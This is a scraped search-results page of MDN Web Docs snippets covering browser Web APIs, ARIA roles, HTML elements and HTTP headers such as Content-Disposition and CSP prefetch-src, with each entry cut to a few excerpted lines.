... syntax filesystemfileentry.createwriter(successcallback[, errorcallback]); parameters successcallback a callback function which is called when the filewriter has been created successfully; the filewriter is passed into the callback as the only parameter.
... errorcallback optional if provided, this must be a method which is caled when an error occurs while trying to create the filewriter.
...And 7 more matches
FileSystemFlags.create - Web APIs
the create property on the filesystemflags dictionary is used to indicate whether or not the file should be created if it's missing.
... filesystemflags is only used when calling filesystemdirectoryentry.getfile() or filesystemdirectoryentry.getdirectory().
... option values file/directory condition result create exclusive false n/a[1] path exists and matches the desired type (depending on whether the function called is getfile() or getdirectory() the successcallback is called with a filesystemfileentry if getfile() was called or a filesystemdirectoryentry if getdirectory() was called.
...And 7 more matches
HTMLImageElement.alt - Web APIs
this may be the case because of an error, because the user has disabled the loading of images, or because the image simply hasn't finished loading yet.
...you should never use alt for text that could be construed as a caption or title.
... body { margin: 0; padding: 0; } p { margin-block-start: 0; margin-block-end: 1em; margin-top: 0; margin-bottom: 1em; } .container { width: 100vh; height: 95vh; font: 16px arial,helvetica,sans-serif; } .left-margin { background-color: rgb(241, 240, 237, 255); width: 9em; height: 100%; float: left; margin-right: 5px; padding-right: 1em; display: flex; align-items: center; justify-content: center; } .left-margin img { width: 6em; } .contents { background-color: rgb(241, 240, 235, 255); height: 100%; margin-left: 2em; padding-top: 1em; padding-left: 2...
...And 7 more matches
HTMLOrForeignElement.dataset - Web APIs
note that the dataset property itself can be read, but not directly written.
...it must contain only letters, numbers, and the following characters: dash (-), dot (.), colon (:), underscore (_)—but not any ascii capital letters (a to z).
... in javascript, the name of a custom data attribute is the name of the same html attribute, but in camelcase and with no dashes, dots, etc.
...And 7 more matches
Headers - Web APIs
WebAPIHeaders
you can add to this using methods like append() (see examples.) in all methods of this interface, header names are matched by case-insensitive byte sequence.
... for security reasons, some headers can only be controlled by the user agent.
... you can retrieve a headers object via the request.headers and response.headers properties, and create a new headers object using the headers.headers() constructor.
...And 7 more matches
History - Web APIs
WebAPIHistory
scrollrestoration allows web applications to explicitly set default scroll restoration behavior on history navigation.
... this property can be either auto or manual.
... calling this method to go back beyond the first page in the session history has no effect and doesn't raise an exception.
...And 7 more matches
IDBCursorSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
...you can have only one instance of idbcursorsync representing a cursor, but you can have an unlimited number of cursors at the same time.
...it enables an application to synchronously process all the records in the cursor's range.
...And 7 more matches
IDBRequest - Web APIs
if the request has been completed successfully, the result is made available through the result property and an event indicating success is fired at the request (idbrequest.onsuccess).
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monos...
... idbrequest.error read only returns a domexception in the event of an unsuccessful request, indicating what went wrong.
...And 7 more matches
IDBTransactionSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
...when an application creates an idbtransactionsync object, it blocks until the browser is able to reserve the require database objects.
... methods abort() call this method to signal a need to cancel the effects of the operations performed by this transaction.
...And 7 more matches
MSManipulationEvent.initMSManipulationEvent() - Web APIs
the initmsmanipulationevent method is used to create a msmanipulationevent that can be called from javascript.
...beginning with the microsoft edge browser, the initevent() constructor pattern for synthetic events is deprecated.
... syntax msmanipulationevent.initmsmanipulationevent(typearg, canbubblearg, cancelablearg, viewarg, detailarg, laststate, currentstate); parameters typearg [in] type: domstring the type of the event being created.
...And 7 more matches
MediaRecorder.onerror - Web APIs
the mediarecorder interface's onerror event handler is called by the mediastream recording api when an error occurs.
... you can provide an event handler to deal with errors that occur while creating or using a media recorder.
... syntax mediarecorder.onerror = errorhandlerfunction; value a function to be called whenever an error occurs during the recorder's lifetime.
...And 7 more matches
MediaStreamTrack.getConstraints() - Web APIs
the getconstraints() method of the mediastreamtrack interface returns a mediatrackconstraints object containing the set of constraints most recently established for the track using a prior call to applyconstraints().
... these constraints indicate values and ranges of values that the web site or application has specified are required or acceptable for the included constrainable properties.
... constraints can be used to ensure that the media meets certain guidelines you prefer.
...And 7 more matches
MediaTrackConstraints.displaySurface - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.displaysurface as returned by a call to mediadevices.getsupportedconstraints().
... however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... syntax var constraintsobject = { displaysurface: constraint }; constraintsobject.displaysurface = constraint; value a constraindomstring which specifies the type of display surface that's being captured.
...And 7 more matches
MediaTrackSettings.latency - Web APIs
the mediatracksettings dictionary's latency property is a double-precision floating-point number indicating the estimated latency (specified in seconds) of the mediastreamtrack as currently configured.
... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.latency property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... this is, of course, an approximation, since latency can vary for many reasons including cpu, transmission, and storage overhead.
...And 7 more matches
MouseEvent.button - Web APIs
WebAPIMouseEventbutton
the mouseevent.button read-only property indicates which button was pressed on the mouse to trigger the event.
... this property only guarantees to indicate which buttons are pressed during events caused by pressing or releasing one or multiple buttons.
... users may change the configuration of buttons on their pointing device so that if an event's button property is zero, it may not have been caused by the button that is physically left–most on the pointing device; however, it should behave as if the left button was clicked in the standard button layout.
...And 7 more matches
MouseEvent.initMouseEvent() - Web APIs
this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
... do not use this method anymore as it is deprecated.
... syntax event.initmouseevent(type, canbubble, cancelable, view, detail, screenx, screeny, clientx, clienty, ctrlkey, altkey, shiftkey, metakey, button, relatedtarget); parameters type the string to set the event's type to.
...And 7 more matches
Node.namespaceURI - Web APIs
WebAPINodenamespaceURI
syntax namespace = node.namespaceuri example in this snippet, a node is being examined for its node.localname and its namespaceuri.
... if the namespaceuri returns the xul namespace and the localname returns "browser", then the node is understood to be a xul <browser/>.
... if (node.localname == "browser" && node.namespaceuri == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") { // this is a xul browser } notes this is not a computed value that is the result of a namespace lookup based on an examination of the namespace declarations in scope.
...And 7 more matches
ParentNode.querySelectorAll() - Web APIs
the parentnode mixin defines the queryselectorall() method as returning a nodelist representing a list of elements matching the specified group of selectors which are descendants of the object on which the method was called.
...see locating dom elements using selectors for more information about using selectors to identify elements.
... note: characters which are not part of standard css syntax must be escaped using a backslash character.
...And 7 more matches
PerformanceTiming - Web APIs
this interface is deprecated in the navigation timing level 2 specification.
... performancetiming.unloadeventstart read only when the unload event has been thrown, indicating the time at which the previous document in the window began to unload.
...this moment is before the check to any application cache.
...And 7 more matches
RTCIceTransport.ongatheringstatechange - Web APIs
the ongatheringstatechange event handler for the rtcicetransport interface specifies an event handler that is to be called when the gatheringstatechange event occurs on the transport.
... syntax rtcicetransport.ongatheringstatechange = statechangehandler; value a function to be called when the rtcicetransport object's gathering state changes.
... the gathering state indicates whether or not the ice agent has begun gathering candidates, and if so, whether or not gathering has finished.
...And 7 more matches
RTCPeerConnection.createDataChannel() - Web APIs
this can be useful for back-channel content such as images, file transfer, text chat, game update packets, and so forth.
... options optional an rtcdatachannelinit dictionary providing configuration options for the data channel rtcdatachannelinit dictionary the rtcdatachannelinit dictionary provides the following fields, any of which may be included in the object passed as the options parameter in order to configure the data channel to suit your needs: ordered optional indicates whether or not messages sent on the rtcdatachannel are required to arrive at their destination in the same order in which they were sent (true), or if they're allowed to arrive out-of-order (false).
... negotiated optional by default (false), data channels are negotiated in-band, where one side calls createdatachannel, and the other side listens to the rtcdatachannelevent event using the ondatachannel eventhandler .
...And 7 more matches
RTCPeerConnection.getStats() - Web APIs
obsolete syntax previously, getstats() used success and failure callbacks to report the results to you, instead of using a promise.
... this version of getstats() is obsolete; in addition, the data it returns is entirely different from the current specification, and the form of that data was never documented.
... promise = rtcpeerconnection.getstats(selector, successcallback, failurecallback) parameters selector optional a mediastreamtrack for which to gather statistics.
...And 7 more matches
RTCPeerConnection.iceConnectionState - Web APIs
you can detect when this value has changed by watching for the iceconnectionstatechange event.
... constant description "new" the ice agent is gathering addresses or is waiting to be given remote candidates through calls to rtcpeerconnection.addicecandidate() (or both).
... "checking" the ice agent has been given one or more remote candidates and is checking pairs of local and remote candidates against one another to try to find a compatible match, but has not yet found a pair which will allow the peer connection to be made.
...And 7 more matches
RTCRtpStreamStats.firCount - Web APIs
the fircount property of the rtcrtpstreamstats dictionary indicates the number of full intra request (fir) packets have been sent by the receiver to the sender.
... this is a measure of how often the stream falls behind and has to skip frames in order to catch up.
... syntax var fircount = rtcrtpstreamstats.fircount; value an integer value indicating how many fir packets have been received by the sender during the current connection.
...And 7 more matches
RTCRtpTransceiver.setCodecPreferences() - Web APIs
the rtcrtptransceiver method setcodecpreferences() configures the transceiver's codecs given a list of rtcrtpcodeccapability objects specifying the new preferences for each codec.
... the specified set of codecs and configurations will be used for all future connections including this transceiver until this method is called again.
... when preparing to open an rtcpeerconnection, you can change the codec parameters from the user agent's default configuration by calling setcodecparameters() before calling either rtcpeerconnection.createoffer() or createanswer().
...And 7 more matches
ReadableStream.pipeThrough() - Web APIs
data writen to the writable stream can be read in some transformed state by the readable stream.
...available options are: preventclose: if this is set to true, the source readablestream closing will no longer cause the destination writablestream to be closed.
... the method will return a fulfilled promise once this process completes, unless an error is encountered while closing the destination in which case it will be rejected with that error.
...And 7 more matches
SVGLength - Web APIs
WebAPISVGLength
an svglength object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
... svg_lengthtype_number 1 no unit type was provided (i.e., a unitless value was specified), which indicates a value in user units.
...setting this attribute will cause valueinspecifiedunits and valueasstring to be updated automatically to reflect this setting.
...And 7 more matches
SourceBuffer - Web APIs
this can be made up of one or several media segments.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/sou...
...this is a timestamp range that can be used to filter what media data is appended to the sourcebuffer.
...And 7 more matches
SubtleCrypto.unwrapKey() - Web APIs
this means that it takes as its input a key that has been exported and then encrypted (also called "wrapped").
... it decrypts the key and then imports it, returning a cryptokey object that can be used in the web crypto api.
... as with subtlecrypto.importkey(), you specify the key's import format and other attributes of the key to import details such as whether it is extractable, and which operations it can be used for.
...And 7 more matches
Text.splitText() - Web APIs
WebAPITextsplitText
the newly created node is returned to the caller.
... separated text nodes can be concatenated using the node.normalize() method.
... exceptions thrown a domexception with a value of index_size_err is thrown if the specified offset is negative or is greater than the number of 16-bit units in the node's text; a domexception with a value of no_modification_allowed_err is thrown if the node is read-only.
...And 7 more matches
Supporting both TouchEvent and MouseEvent - Web APIs
the touch interfaces enable applications to create enhanced user experiences on touch enabled devices.
...consequently, even if a browser supports touch, the browser must still emulate mouse events so content that assumes mouse-only input will work as is without direct modification.
... ideally, a touch-based application does not need to explicitly address mouse input.
...And 7 more matches
UIEvent - Web APIs
WebAPIUIEvent
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace"...
... uievent.cancelbubble is a boolean indicating whether the bubbling of the event has been canceled or not.
... uievent.ischar read only returns a boolean indicating whether the event produced a key character or not.
...And 7 more matches
WebGL2RenderingContext.getSamplerParameter() - Web APIs
possible values: gl.texture_compare_func: returns a glenum indicating the texture comparison function.
... gl.texture_compare_mode: returns a glenum indicating the texture comparison mode.
... gl.texture_mag_filter: returns a glenum indicating the texture magnification filter.
...And 7 more matches
WebGLRenderingContext.getParameter() - Web APIs
parameter names webgl 1 you can query the following pname parameters when using a webglrenderingcontext.
... gl.generate_mipmap_hint glenum gl.fastest, gl.nicest or gl.dont_care.
..._cube_map webgltexture or null gl.unpack_alignment glint gl.unpack_colorspace_conversion_webgl glenum gl.unpack_flip_y_webgl glboolean gl.unpack_premultiply_alpha_webgl glboolean gl.vendor domstring gl.version domstring gl.viewport int32array (with 4 elements) webgl 2 you can query the following pname parameters when using a webgl2renderingcontext.
...And 7 more matches
WebGLRenderingContext.isEnabled() - Web APIs
the webglrenderingcontext.isenabled() method of the webgl api tests whether a specific webgl capability is enabled or not for this context.
... by default, all capabilities except gl.dither are disabled.
... syntax glboolean gl.isenabled(cap); parameters cap a glenum specifying which webgl capability to test.
...And 7 more matches
WebGLRenderingContext.makeXRCompatible() - Web APIs
this is useful if you have an application which can start out being presented on a standard 2d display but can then be transitioned to a 3d immersion system.
... usage notes because makexrcompatible() may involve replacing the underlying webgl context with a new one that uses the new rendering hardware, the existing contents of the context may be lost and, therefore, would need to be re-rendered.
... this is why the webglcontextlost and webglcontextrestored events are used: the first gives you the opportunity to discard anything you won't need anymore, while the second gives you the opportunity to load resources and prepare to render the scene in its new context.
...And 7 more matches
WebGLRenderingContext.pixelStorei() - Web APIs
glint 4 1, 2, 4, 8 opengl es 2.0 gl.unpack_flip_y_webgl flips the source data along its vertical axis if true.
... glint 0 0 to infinity opengl es 3.0 gl.pack_skip_pixels number of pixel locations skipped before the first pixel is written into memory.
... glint 0 0 to infinity opengl es 3.0 gl.pack_skip_rows number of rows of pixel locations skipped before the first pixel is written into memory glint 0 0 to infinity opengl es 3.0 gl.unpack_row_length number of pixels in a row.
...And 7 more matches
WebGLRenderingContext.texImage2D() - Web APIs
pixels); void gl.teximage2d(target, level, internalformat, format, type, htmlcanvaselement?
...pixels); // webgl2: void gl.teximage2d(target, level, internalformat, width, height, border, format, type, glintptr offset); void gl.teximage2d(target, level, internalformat, width, height, border, format, type, htmlcanvaselement source); void gl.teximage2d(target, level, internalformat, width, height, border, format, type, htmlimageelement source); void gl.teximage2d(target, level, internalformat, width, height, border, format, type, htmlvideoelement source); void gl.teximage2d(target, level, internalformat, width, height, border, format, type, imagebitmap source); void gl.teximage2d(target, level, internalformat, ...
... rgba16i rgba i16 i16 i16 i16 ● rgba16ui rgba ui16 ui16 ui16 ui16 ● rgba32i rgba i32 i32 i32 i32 ● rgba32ui rgba ui32 ui32 ui32 ui32 ● possible values in webgl2 for the versions of teximage2d that take a texture an htmlimageelement, htmlcanvaselement, htmlvideoelement, imagebitmap, or imagedata gl.alpha: discards the red, green and blue components and reads the alpha component.
...And 7 more matches
WebGLRenderingContext.texSubImage2D() - Web APIs
pixels); void gl.texsubimage2d(target, level, xoffset, yoffset, format, type, htmlcanvaselement?
...pixels); // webgl 2: void gl.texsubimage2d(target, level, xoffset, yoffset, format, type, glintptr offset); void gl.texsubimage2d(target, level, xoffset, yoffset, width, height, format, type, htmlcanvaselement source); void gl.texsubimage2d(target, level, xoffset, yoffset, width, height, format, type, htmlimageelement source); void gl.texsubimage2d(target, level, xoffset, yoffset, width, height, format, type, htmlvideoelement source); void gl.texsubimage2d(target, level, xoffset, yoffset, width, height, format, type, imagebitmap source); void gl.texsubimage2d(target, level, xoffset, yoffset, width, height,...
...possible values: gl.alpha: discards the red, green and blue components and reads the alpha component.
...And 7 more matches
WebGLRenderingContext.viewport() - Web APIs
y a glint specifying the vertical coordinate for the lower left corner of the viewport origin.
...default value: width of the canvas.
...default value: height of the canvas.
...And 7 more matches
Animating textures in WebGL - Web APIs
you can use similar code to use any sort of data (such as a <canvas>) as the source for your textures.
... getting access to the video the first step is to create the <video> element that we'll use to retrieve the video frames: // will set to true when video can be copied to texture var copyvideo = false; function setupvideo(url) { const video = document.createelement('video'); var playing = false; var timeupdate = false; video.autoplay = true; video.muted = true; video.loop = true; // waiting for these 2 events ensures // there is data in the video video.addeventlistener('playing', function() { playing = true; checkready(); }, true); video.add...
...we need both of these checks because it will produce an error if you upload a video to webgl that has no data available yet.
...And 7 more matches
Writing a WebSocket server in Java - Web APIs
although other server-side languages can be used to create a websocket server, this example uses oracle java to simplify the example code.
... first steps websockets communicate over a tcp (transmission control protocol) connection.
... java's serversocket class is located in the java.net package.
...And 7 more matches
WebXR permissions and security - Web APIs
among other things, you need to confirm access to device features such as the microphone and/or camera, get permission to use immersive vr mode (if applicable), and so forth.
... once that check is passed, the request to enter immersive-vr mode is allowed if all of the following are true: the requestsession() call was issued by code executing within the handler for a user event, or the from the startup code for a user-launched web application.
... inline presentation when you request an xrsession with the mode set to inline, and any features are required or requested, the browser will only allow the session to be created if the call to requestsession() was made by code which is executing expressly due to user intent.
...And 7 more matches
Privileged features - Web APIs
minimizable this setting can only apply to dialog windows; minimizable requires dialog=yes.
...mozilla 1.2+ and netscape 7.1 will render the other menu system commands (in ff 1.0 and in ns 7.0x, the command system menu is not identified with the firefox/ns 7.0x icon on the left end of the titlebar: that's probably a bug.
... you can access the command system menu with a right-click on the titlebar).
...And 7 more matches
Window.pageYOffset - Web APIs
the read-only window property pageyoffset is an alias for scrolly; as such, it returns the number of pixels the document is currently scrolled along the vertical axis (that is, up or down) with a value of 0.0, indicating that the top edge of the document is currently aligned with the top edge of the window's content area.
... there is slightly better support for pageyoffset than for scrolly in older browsers, but if you're not concerned about browsers more than a handful of years old, you can use either one.
... syntax yoffset = window.pageyoffset; value a floating-point number specifying the number of pixels the document is scrolled vertically within its containing window.
...And 7 more matches
Window.setImmediate() - Web APIs
this method is used to break up long running operations and run a callback function immediately after the browser has completed other operations such as events and display updates.
... syntax var immediateid = setimmediate(func, [param1, param2, ...]); var immediateid = setimmediate(func); where immediateid is the id of the immediate which can be used later with window.clearimmediate.
... func is the function you wish to call.
...And 7 more matches
self.createImageBitmap() - Web APIs
syntax const imagebitmappromise = createimagebitmap(image[, options]); const imagebitmappromise = createimagebitmap(image, sx, sy, sw, sh[, options]); parameters image an image source, which can be an <img>, svg <image>, <video>, <canvas>, htmlimageelement, svgimageelement, htmlvideoelement, htmlcanvaselement, blob, imagedata, imagebitmap, or offscreencanvas object.
...this value can be negative.
...this value can be negative.
...And 7 more matches
WindowOrWorkerGlobalScope - Web APIs
each of these interfaces can, of course, add more features in addition to the ones listed below.
... note: windoworworkerglobalscope is a mixin and not an interface; you can't actually create an object of type windoworworkerglobalscope.
... windoworworkerglobalscope.caches read only returns the cachestorage object associated with the current context.
...And 7 more matches
WritableStreamDefaultWriter - Web APIs
the writablestreamdefaultwriter interface of the the streams api is the object returned by writablestream.getwriter() and once created locks the writer to the writablestream ensuring that no other streams can write to the underlying sink.
... methods writablestreamdefaultwriter.abort() aborts the stream, signaling that the producer can no longer successfully write to the stream and it is to be immediately moved to an error state, with any queued writes discarded.
... writablestreamdefaultwriter.write() writes a passed chunk of data to a writablestream and its underlying sink, then returns a promise that resolves to indicate the success or failure of the write operation.
...And 7 more matches
HTML in XMLHttpRequest - Web APIs
the w3c xmlhttprequest specification adds html parsing support to xmlhttprequest, which originally supported only xml parsing.
... usage retrieving an html resource as a dom using xmlhttprequest works just like retrieving an xml resource as a dom using xmlhttprequest, except you can't use the synchronous mode and you have to explicitly request a document by assigning the string "document" to the responsetype property of the xmlhttprequest object after calling open() but before calling send().
... function htmlinxhr() { if (!window.xmlhttprequest) return false; var req = new window.xmlhttprequest(); req.open('get', window.location.href, false); try { req.responsetype = 'document'; } catch(e) { return true; } return false; } view on jsfiddle this method is synchronous, does not rely on external assets though it may not be as reliable as method 2 described below since it does not check the actual feature but an indication of that feature.
...And 7 more matches
XMLHttpRequestEventTarget - Web APIs
xmlhttprequesteventtarget is the interface that describes the event handlers you can implement in an object that will handle events for an xmlhttprequest.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xml...
...t="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="276" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmlhttprequesteventtarget</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties xmlhttprequesteventtarget.onabort contains the function to call when a request is aborted and the abort event is received by this object.
...And 7 more matches
XRInputSource.targetRaySpace - Web APIs
the read-only xrinputsource property targetrayspace returns an xrspace (typically an xrreferencespace) representing the position and orientation of the target ray in the virtual space.
... its native origin tracks the position of the origin point of the target ray, and its orientation indicates the orientation of the controller device itself.
... these values, interpreted in the context of the input source's targetraymode, can be used both to fully interpret the device as an input source.
...And 7 more matches
XRPermissionStatus.granted - Web APIs
the webxr device api's xrpermissionstatus interface's granted property is an array of strings, each identifying one of the webxr features for which permission has been granted as of the time at which the permission api's navigator.permissions.query() method was called.
... the types of reference space are listed in the table below, with brief information about their use cases and which interface is used to implement them.
... xrreferencespacetype description interface bounded-floor similar to the local type, except the user is not expected to move outside a predetermined boundary, given by the boundsgeometry in the returned object.
...And 7 more matches
XRSession.requestReferenceSpace() - Web APIs
the "interface" column in the table below indicates which of the two types is returned for each reference space type constant..
... reference space descriptors the types of reference space are listed in the table below, with brief information about their use cases and which interface is used to implement them.
... xrreferencespacetype description interface bounded-floor similar to the local type, except the user is not expected to move outside a predetermined boundary, given by the boundsgeometry in the returned object.
...And 7 more matches
ARIA: feed role - Accessibility
</section> description a feed is a page structure for a scrollable list of articles where scrolling may cause articles to be added to the top or end of the list.
... the list establishes an interoperability contract between the web page and assistive technologies that governs scroll interactions so that assistive technology users can read articles, jump forward and backward by article, and reliably trigger new articles to load while in reading mode.
...these streams can be limited or infinite, loading more content as the user scrolls.
...And 7 more matches
ARIA: Region role - Accessibility
the region landmark role is used to identify an area in the document that the author has identified as significant.
...by classifying and labeling sections of a page, structural information conveyed visually through layout is represented programmatically.
... using the <section> element will automatically communicate a section has a role of region if it is given an accessible name.
...And 7 more matches
ARIA: img role - Accessibility
the aria img role can be used to identify multiple elements inside page content that should be considered as a single image.
... these elements could be images, code snippets, text, emojis, or other content that can be combined to deliver information in a visual manner.
... <div role="img" aria-label="description of the overall image"> <img src="graphic1.png" alt=""> <img src="graphic2.png"> </div> description any set of content that should be consumed as a single image (which could include images, video, audio, code snippets, emojis, or other content) can be identified using role="img".
...And 7 more matches
ARIA: rowgroup role - Accessibility
these cells can be of different types, depending on whether they are column or row headers, or plain or grid cells.
... role="treegrid" similar to a grid, but with rows that can be expanded and collapsed in the same manner as for a tree.
... the first rule of aria use is if you can use a native feature with the semantics and behavior you require already built in, instead of re-purposing an element and adding an aria role, state or property to make it accessible, then do so.
...And 7 more matches
Mobile accessibility checklist - Accessibility
colour colour contrast must comply with wcag 2.1 aa level requirements: contrast ratio of 4.5:1 for normal text (less than 18 point or 14 point bold.) contrast ratio of 3:1 for large text (at least 18 point or 14 point bold.) information conveyed via colour must be also available by other means too (underlined text for links, etc.) visibility content hiding techniques such as zero opacity, z-index order and off-screen placement must not be used exclusively to handle visibility.
... everything other than the currently visible screen must be truly invisible (especially relevant for single page apps with multiple cards): use the hidden attribute or visibility or display style properties.
... focus should be handled in a logical order and consistent manner.
...And 7 more matches
Robust - Accessibility
this article provides practical advice on how to write your web content so that it conforms to the success criteria outlined in the robust principle of the web content accessibility guidelines (wcag) 2.0 and 2.1.
... robust states that content must be robust enough that it can be interpreted reliably by a wide variety of user agents, including assistive technologies.
... this can generally be achieved by following web standards and testing rigorously.
...And 7 more matches
Creating and triggering events - Developer guides
such events are commonly called synthetic events, as opposed to the events fired by the browser itself.
... creating custom events events can be created with the event constructor as follows: const event = new event('build'); // listen for the event.
... adding custom data – customevent() to add more data to the event object, the customevent interface exists and the detail property can be used to pass custom data.
...And 7 more matches
<b>: The Bring Attention To element - HTML: Hypertext Markup Language
WebHTMLElementb
however, you should not use <b> for styling text; instead, you should use the css font-weight property to create boldface text, or the <strong> element to indicate that text is of special importance.
... content categories flow content, phrasing content, palpable content.
... usage notes use the <b> for cases like keywords in a summary, product names in a review, or other spans of text whose typical presentation would be boldfaced (but not including any special importance).
...And 7 more matches
<blockquote>: The Block Quotation element - HTML: Hypertext Markup Language
the html <blockquote> element (or html block quotation element) indicates that the enclosed text is an extended quotation.
...a url for the source of the quotation may be given using the cite attribute, while a text representation of the source can be given using the <cite> element.
... content categories flow content, sectioning root, palpable content.
...And 7 more matches
<html>: The HTML Document / Root element - HTML: Hypertext Markup Language
WebHTMLElementhtml
content categories none.
... manifest specifies the uri of a resource manifest indicating resources that should be cached locally.
... see using the application cache for details.
...And 7 more matches
<ins> - HTML: Hypertext Markup Language
WebHTMLElementins
you can use the <del> element to similarly represent a range of text that has been deleted from the document.
... content categories phrasing content or flow content.
... datetime this attribute indicates the time and date of the change and must be a valid date with an optional time string.
...And 7 more matches
<object> - HTML: Hypertext Markup Language
WebHTMLElementobject
the html <object> element represents an external resource, which can be treated as an image, a nested browsing context, or a resource to be handled by a plugin.
... content categories flow content; phrasing content; embedded content, palpable content; if the element has a usemap attribute, interactive content; listed, submittable form-associated element.
... implicit aria role no corresponding role permitted aria roles application, document, image dom interface htmlobjectelement attributes this element includes the global attributes.
...And 7 more matches
<ol>: The Ordered List element - HTML: Hypertext Markup Language
WebHTMLElementol
the html <ol> element represents an ordered list of items — typically rendered as a numbered list.
... content categories flow content, and if the <ol> element's children include at least one <li> element, palpable content.
... type sets the numbering type: a for lowercase letters a for uppercase letters i for lowercase roman numerals i for uppercase roman numerals 1 for numbers (default) the specified type is used for the entire list unless a different type attribute is used on an enclosed <li> element.
...And 7 more matches
<section>: The Generic Section element - HTML: Hypertext Markup Language
WebHTMLElementsection
typically, but not always, sections have a heading.
... note: if the contents of the element would make sense syndicated as a standalone piece, the <article> element may be a better choice.
... content categories flow content, sectioning content, palpable content.
...And 7 more matches
<sup>: The Superscript element - HTML: Hypertext Markup Language
WebHTMLElementsup
the html superscript element (<sup>) specifies inline text which is to be displayed as superscript for solely typographical reasons.
... content categories flow content, phrasing content, palpable content.
... usage notes the <sup> element should only be used for typographical reasons—that is, to change the position of the text to comply with typographical conventions or standards, rather than solely for presentation or appearance purposes.
...And 7 more matches
<ul>: The Unordered List element - HTML: Hypertext Markup Language
WebHTMLElementul
the html <ul> element represents an unordered list of items, typically rendered as a bulleted list.
... content categories flow content, and if the <ul> element's children include at least one <li> element, palpable content.
... warning: do not use this attribute, as it has been deprecated: use css instead.
...And 7 more matches
itemscope - HTML: Hypertext Markup Language
a related attribute, itemtype, is used to specify the valid url of a vocabulary (such as schema.org) that describes the item and its properties context.
... in each of the following examples, the vocabulary is from schema.org.
... <div itemscope itemtype="http://schema.org/movie"> <h1 itemprop="name">avatar</h1> <span>director: <span itemprop="director">james cameron</span> (born august 16, 1954)</span> <span itemprop="genre">science fiction</span> <a href="https://youtu.be/0ay1xikx7by" itemprop="trailer">trailer</a> </div> structured data the following table shows the structured data from the preceding example.
...And 7 more matches
lang - HTML: Hypertext Markup Language
a language tag is made of hyphen-separated language subtags, where each subtag indicates a certain property of the language.
...a 2-or-3-character code that defines the basic language, typically written in all lowercase.
...this subtag defines the writing system used for the language, and is always 4 characters long, with the first letter capitalized.
...And 7 more matches
List of default Accept values - HTTP
note that all browsers add the */* mime type to cover all cases.
... this is typically used for requests initiated via the address bar of a browser, or via an html <a> element.
... user agent value comment firefox text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (since firefox 66) text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 (in firefox 65) text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (before) in firefox 65 and earlier, this value can be modified using the network.http.accept.default parameter.
...And 7 more matches
Content-Disposition - HTTP
in a regular http response, the content-disposition response header is a header indicating if the content is expected to be displayed inline in the browser, that is, as a web page or as part of a web page, or as an attachment, that is downloaded and saved locally.
... in a multipart/form-data body, the http content-disposition general header is a header that can be used on the subpart of a multipart body to give information about the field it applies to.
...only the value form-data, as well as the optional directive name and filename, can be used in the http context.
...And 7 more matches
CSP: prefetch-src - HTTP
syntax one or more sources can be allowed for the prefetch-src policy: content-security-policy: prefetch-src <source>; content-security-policy: prefetch-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...you can also specify data schemes (not recommended).
...And 7 more matches
